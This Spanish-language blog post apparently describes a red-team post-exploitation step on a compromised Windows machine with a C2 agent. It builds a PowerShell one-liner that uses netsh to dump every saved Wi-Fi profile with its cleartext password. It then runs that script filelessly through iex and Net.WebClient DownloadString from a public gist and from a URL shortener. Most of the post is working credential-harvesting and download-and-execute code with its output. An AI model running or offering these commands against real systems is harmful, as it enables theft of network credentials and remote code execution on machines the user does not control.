Post explotación: Obtención de credenciales wifi en ejercicio de Red Team

Contexto

Hace poco tiempo como parte de un escenario de Red Team debíamos acceder a una red wifi con conectividad hacia la red objetivo. Si bien pudimos obtener handshake de conexión a la red, pese a ser solo unacontraseña estática, la misma fue lo suficientemente robusta como para no poder crackearla por diccionario o ataques híbridos.

Por otros medios (historia larga para otro día) pudimos comprometer un equipo que eventualmente accedía a dichared cuando el usuario visitaba la locación física donde se encontraba la redwifi.

El usuario rotaba de lugar físicoentre diferentes instalaciones, conectándose a las redes inalámbricas de cadalocación.

El usuario no contaba con ningúnprivilegio, pero teníamos un agente de Command AndControl (C2) funcional en el equipo y persistencia en el mismo.

Las ideas

Una posibilidad era esperar a que elequipo se conectara en la red objetivo, y aprovechar el agente para pivotearhacia la red. Sin embargo esto tenía varios inconvenientes. El primero que nosabíamos cuando eso iba a suceder. El segundo, el tiempo disponible, nosabíamos si el tiempo que el usuario permanecería conectado sería suficientepara conseguir un agente funcional en la red objetivo. Finalmente no teníamoscerteza de que la red inalámbrica tuviera acceso a internet y por ende elequipo podría estar temporalmente «desconectado» del C2 cuando elusuario se conectara a la red wifi objetivo.

Pensamos diferentes alternativas yfinalmente una bastante simple sirvió a los fines que buscábamos.

La solución

Dadas las características de laconexión (una red WPA2 con una contraseña estática), nuestra presunción era quesi el usuario se conectaba habitualmente dicha conexión estaría guardada en ellistado de redes conocidas.

El equipo era un windows,así que buscando información llegamos a que el comando netsh permite listar losperfiles almacenados de conexión a redes wifi. [1]

C:\ netsh wlan show profiles

Perfiles en la interfaz Wi-Fi:
Perfiles de directiva de grupo (solo lectura)
---------------------------------------------
 
<Ninguno>

Perfiles de usuario
-------------------
 
Perfil de todos los usuarios   : Mi OFICINA
 
Perfil de todos los usuarios   : iPhone
 
Perfil de todos los usuarios   : Mi CASA

Bien. Hasta ahí teníamos el listado de las redes guardadas.

Identificamos también que se podía ver las claves deconexión de la red con el comando [2]:

netshwlan show profile name=<NOMBRE_DEL_PROFILE_WIFI> key=clear

 

Por ejemplo:

netsh wlanshow profile name=”Mi OFICINA” key=clear

Perfil OFICINA en la interfaz Wi-Fi:
=======================================================================
Aplicado: Perfil de todos los usuarios
Información del perfil
----------------------
   
Versión                : 1
   
Tipo                   : LAN inalámbrica
   
Nombre                 : Mi OFICINA
   
Opciones decontrol    :
       
Modo de conexión : conectar automáticamente
       
Difusión de red  : conectarse solosi esta red está difundiendo
       
Cambioautomático: no cambiar a otras redes
       
Selecciónaleatoria de dirección MAC: deshabilitada
Configuración de conectividad
-----------------------------
   
Número deSSID        : 1
   
Nombre deSSID       : "Mi OFICINA"
   
Tipo de red           : Infraestructura
   
Tipo deradio          : [Cualquier tipo de radio ]
   
Extensión deproveedor         : no está presente
Configuración de seguridad
--------------------------
Autenticación                  : WPA2-Personal
   
Cifrado                        : CCMP
Autenticación                  :WPA2-Personal
   
Cifrado                        : GCMP
   
Clave deseguridad                         :Presente   
Contenido de la clave  : lñS1Q2L3t4u5L6a7P8d9Tñ
Configuración de costos
-------------
   
Costo                   : Sin restricciones
Congestionado              : No
   
A punto dealcanzar el límite de datos: No
   
Límite de datossuperado        : No
   
Itinerancia: No
  
 Origen de costo            : Predeterminado

Todo súper interesante, pero la verdad que lo único que queríamos era el SSID y la contraseña.

Para no  alargar lahistoria comenzamos a jugar con powershell (apoyándonosen algunas búsquedas de google y bastante prueba y error), para quedarnos conla información que nos interesaba finalizando en un onelinersúper útil:

(netsh wlan show profiles) | Select-String "\:(.+)$" | foreach{$name=$_.Matches.Groups[1].Value.Trim(); $_} | foreach{(netsh wlan show profile name="$name" key=clear)} | Select-String "Contenido de la clave\W+\:(.+)$"| foreach{$pass=$_.Matches.Groups[1].Value.Trim(); $_}| foreach{[PSCustomObject]@{PERFIL=$name;PASSWORD=$pass }}| Format-Table -AutoSize

 

Desgranando un poco, existen varias canalizaciones:

  • La primera muestra todos los profiles de wifi disponibles (netsh wlan show profiles)

  • Luego seleccionamos las líneas con dos puntos seguidos de texto Select-String «\:(.+)$»
  • en la tercera poblamos la variable $name con el nombre del profile foreach{$name=$_.Matches.Groups[1].Value.Trim(); $_}
  • en la cuarto por cada nombre de profile solicitamos la información completa del profile incluyendo la clave en cleartext foreach{(netsh wlan show profile name=»$name» key=clear)}
  • en la quinta seleccionamos las líneas que contienen el patrón “Contenido de la clave” seguido de dos puntos y un texto. Select-String «Contenido de la clave\W+\:(.+)$»
  • En la sexta poblamos la variable $pass con el valor de la clave cleartext foreach{$pass=$_.Matches.Groups[1].Value.Trim(); $_}
  • En la séptima cargamos los valores en un objeto con los campos “PERFIL” y “PASSWORD”. foreach{[PSCustomObject]@{ PERFIL=$name;PASSWORD=$pass }}
  • En la última mostramos todos los objetos en formato de tabla. Format-Table -AutoSize

Este one liner estaba bien, y funcionaba en nuestro lab, pero al probarlo sobre el equipo comprometido no devolvía ningún valor como respuesta. En algo habíamos“metido la pata”. Desandamos el oneliner para empezar nuevamente con la prueba y error.

Lo que detectamos era que las respuestas a los comandos estaban en idioma inglés, por ende esta sección del oneliner era la que no “matcheaba”:

| Select-String "Contenido de la clave\W+\:(.+)$"

Y debía ser reemplazada por

| Select-String "Key content\W+\:(.+)$"

 

Lo probamos y funcionó correctamente, pero nos quedamos con gusto a poco. Si queríamos usar esto en más escala, primero nos teníamos que fijar a mano el idioma del SO.

Fuimos un pasito más allá y encontramos un cmdlet que devuelve la configuración local del Sistema Operativo [3]:

Get-HelpGet-WinSystemLocale
NOMBRE   
Get-WinSystemLocale
 
SINOPSIS   
Gets the System-locale setting (that is, the language for non-Unicode programs) for the current computer.

 Jugando un poco más podíamos obtener las 2 primeras letras que definen el idioma (sin importar la regionalización, ej: ES-AR, ES-MX, ES-US son todos Español, EN-US, EN-UK son Inglés).

(Get-WinSystemLocale) 
LCID             Name             DisplayName

----             ----             -----------
2058             es-MX            Español (México)

(Get-WinSystemLocale).NAME.split("-")[0]
es

Entonces podríamos reemplazar la sección:

| Select-String "Key content\W+\:(.+)$"

 Por una variable (en este caso $keyString)

| Select-String $Keystring

Y construir el contenido de dicha variable en función del idioma del SO:

if ((Get-WinSystemLocale).NAME.split("-")[0] -eq "es") { $KeyString="Contenido de la clave\W+\:{.+}$"} else {if ((Get-WinSystemLocale).NAME.split("-")[0] -eq "en") { $$KeyString="Key Content\W+\:{.+}$"}};

 

Con todo esto podríamos armar un oneliner que realice la acción independientemente del idioma:

if ((Get-WinSystemLocale).NAME.split("-")[0] -eq "es") { $keyString ="Contenido de la clave\W+\:(.+)$"} else {if ((Get-WinSystemLocale).NAME.split("-")[0] -eq "en") { $keyString ="Key Content\W+\:(.+)$"}};(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String $keystring | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_}| %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }}| Format-Table –AutoSize
PROFILE         PASSWORD
-------- ------------
Mi OFICINA               lñS1Q2L3t4u5L6a7P8d9Tñ
iPhone               i23o45ejlnf5a5
Mi CASA                  ln0tT0dayS4Q2PTs!PBT

Por otra parte podría hostearlo públicamente para simplificar su uso fileless [4]:

iex(New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/javierantunez/b20b08f0a92e5d8a44ce62b3a1b2f9ee/raw/37ec18d653a311bf74709d9bea9abcecbfdebe1d/wifipass')
PROFILE         PASSWORD
------------    --------
Mi OFICINA      lñS1Q2L3t4u5L6a7P8d9Tñ
iPhone          i23o45ejlnf5a5
Mi CASA         ln0tT0dayS4Q2PTs!PBT

Incluso para evitar limitaciones de longitudes se puede poner en un acortador de URLs:

iex (New-Object Net.WebClient).DownloadString(' https://bit.ly/3TWD6HdP')
PROFILE           PASSWORD
------------      --------
Mi OFICINA        lñS1Q2L3t4u5L6a7P8d9Tñ
iPhone            i23o45ejlnf5a5
Mi CASA           ln0tT0dayS4Q2PTs!PBT

Conclusión

Como primera conclusión podríamos decir que no siempre el camino más evidente es el que mejor resultado dará en un escenario dado. En este caso si bien fue posible capturar un handshake de la red wifi, la clave era lo suficientemente compleja como para no ser atacable en tiempos razonables usando ataques por diccionario o híbridos. Ser flexibles y pensar alternativas fue la diferencia para lograr el resultado
esperado.

Por otra parte la necesidad de obtener cierta información nos obligó a construir/mejorar un oneliner que nos permite enumerar elementos que pueden ser de utilidad (en este caso los perfiles y contraseñas de wifi). El proceso fue interesante y nos dio muchas ideas para desarrollar en el futuro.

Con esto cerramos este post. Esperando que pueda ser de utilidad y por supuesto abiertos a comentarios.

Referencias

[1] https://devblogs.microsoft.com/scripting/using-powershell-to-view-and-remove-wireless-profiles-in-windows-10-part-1/

[2] https://lazyadmin.nl/it/netsh-wlan-commands/

[3] https://docs.microsoft.com/en-us/powershell/module/international/get-winsystemlocale?view=windowsserver2019-ps

[4] https://gist.githubusercontent.com/javierantunez/b20b08f0a92e5d8a44ce62b3a1b2f9ee/raw/37ec18d653a311bf74709d9bea9abcecbfdebe1d/wifipass

Deja una respuesta

Tu dirección de correo electrónico no será publicada.

Captcha 6 + 2 =